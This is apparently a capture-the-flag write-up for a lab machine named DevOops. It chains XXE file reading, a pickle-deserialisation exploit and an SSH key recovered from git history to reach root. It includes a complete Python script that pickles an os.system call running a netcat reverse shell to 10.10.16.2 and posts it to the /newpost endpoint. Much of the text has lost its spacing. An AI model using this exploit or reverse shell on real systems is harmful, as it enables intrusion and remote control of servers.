Vulnerable endpoint /upload that seems succeptible to XXE.
When we use any generic XXE payload, we recieve an internal server error as it does not fit the requirements of the XML elements (Author, Subject, Content).
Adding these elements nested seems to fix the problem and we get our RFI!
We can easily get the user flag, knowing that the user is roosa and the file is user.txt.
But now we need a shell. We know that the file running the app is feed.py most likely located in roosa's home directory based on the file path leaked from the burp request.
Using our XXE payload, we can query for feed.py at /home/roosa/deploy/src/feed.py, getting the source code of the web application.
#feed.pydefuploaded_file(filename):returnsend_from_directory(Config.UPLOAD_FOLDER, filename)@app.route("/")defxss():returntemplate('index.html')@app.route("/feed")deffakefeed():returnsend_from_directory(".","devsolita-snapshot.png")@app.route("/newpost", methods=["POST"])defnewpost():# TODO: proper save to database, this is for testing purposes right now picklestr = base64.urlsafe_b64decode(request.data)# return picklestr postObj = pickle.loads(picklestr)return"POST RECEIVED: "+ postObj['Subject']## TODO: VERY important! DISABLED THIS IN PRODUCTION#app = DebuggedApplication(app, evalex=True, console_path='/debugconsole')# TODO: Replace run-gunicorn.sh with real Linux service script# app = DebuggedApplication(app, evalex=True, console_path='/debugconsole')if__name__=="__main__": app.run(host='0.0.0,0', Debug=True)
Cool, so we have a pickle vulnerability once again. We can quickly craft out reverse shell and pickle it.
import requestsimport pickle import base64 import oscmd ='rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.2 1234 >/tmp/f'classRCEStr(object):def__reduce__(self):#if output is not shown, can use subprocess.check_output as wellreturn (os.system, (cmd,))pickle_data = pickle.dumps(RCEStr())payload = base64.urlsafe_b64encode(pickle_data)print(payload)# Define the URL to which the POST request will be madeurl ='http://10.10.10.91:5000/newpost'# Define the data you want to send in the POST request# This is just an example; replace with actual data as neededdata = payload# Send the POST request to the specified URL with the defined dataresponse = requests.post(url, data=data)# Print the response received from the serverprint(response.text)
Viola, a shell appears.
To get root, we can checkout the .git directory where can read the commit history using git log
roosa@devoops:~/work/blogfeed/.git$gitlogcommit7ff507d029021b0915235ff91e6a74ba33009c6dAuthor:RoosaHakkerson<roosa@solita.fi>Date:MonMar2606:13:552018-0400UseBase64forpicklefeedloadingcommit26ae6c8668995b2f09bf9e2809c36b156207bfa8Author:RoosaHakkerson<roosa@solita.fi>Date:TueMar2015:37:002018-0400 Set PIN to make debugging faster as it will no longer change every time the application code is changed. Remember to remove before production use.
commitcec54d8cb6117fd7f164db142f0348a74d3e9a70Author:RoosaHakkerson<roosa@solita.fi>Date:TueMar2015:08:092018-0400Debugsupportaddedtomakedevelopmentmoreagile.commitca3e768f2434511e75bd5137593895bd38e1b1c2Author:RoosaHakkerson<roosa@solita.fi>Date:TueMar2008:38:212018-0400Blogfeedapp,initialversion.commitdfebfdfd9146c98432d19e3f7d83cc5f3adbfe94Author:RoosaHakkerson<roosa@solita.fi>Date:TueMar2008:37:562018-0400Gunicornstartupscriptcommit33e87c312c08735a02fa9c796021a4a3023129adAuthor:RoosaHakkerson<roosa@solita.fi>Date:MonMar1909:33:062018-0400revertedaccidentalcommitwithproperkeycommitd387abf63e05c9628a59195cec9311751bdb283fAuthor:RoosaHakkerson<roosa@solita.fi>Date:MonMar1909:32:032018-0400addkeyforfeedintegrationfromtnerprisebackendcommit1422e5a04d1b52a44e6dc81023420347e257ee5fAuthor:RoosaHakkerson<roosa@solita.fi>Date:MonMar1909:24:302018-0400Initialcommit
We see two interesting commit entries 33e87c312c08735a02fa9c796021a4a3023129ad and d387abf63e05c9628a59195cec9311751bdb283f.
Looking at blogfeed/resources/integration/authcredentials.key, we see that the key is a ssh private key.
If we extract the file using git checkout and try to login, we see that it is actually root's ssh key, thus getting our root flag.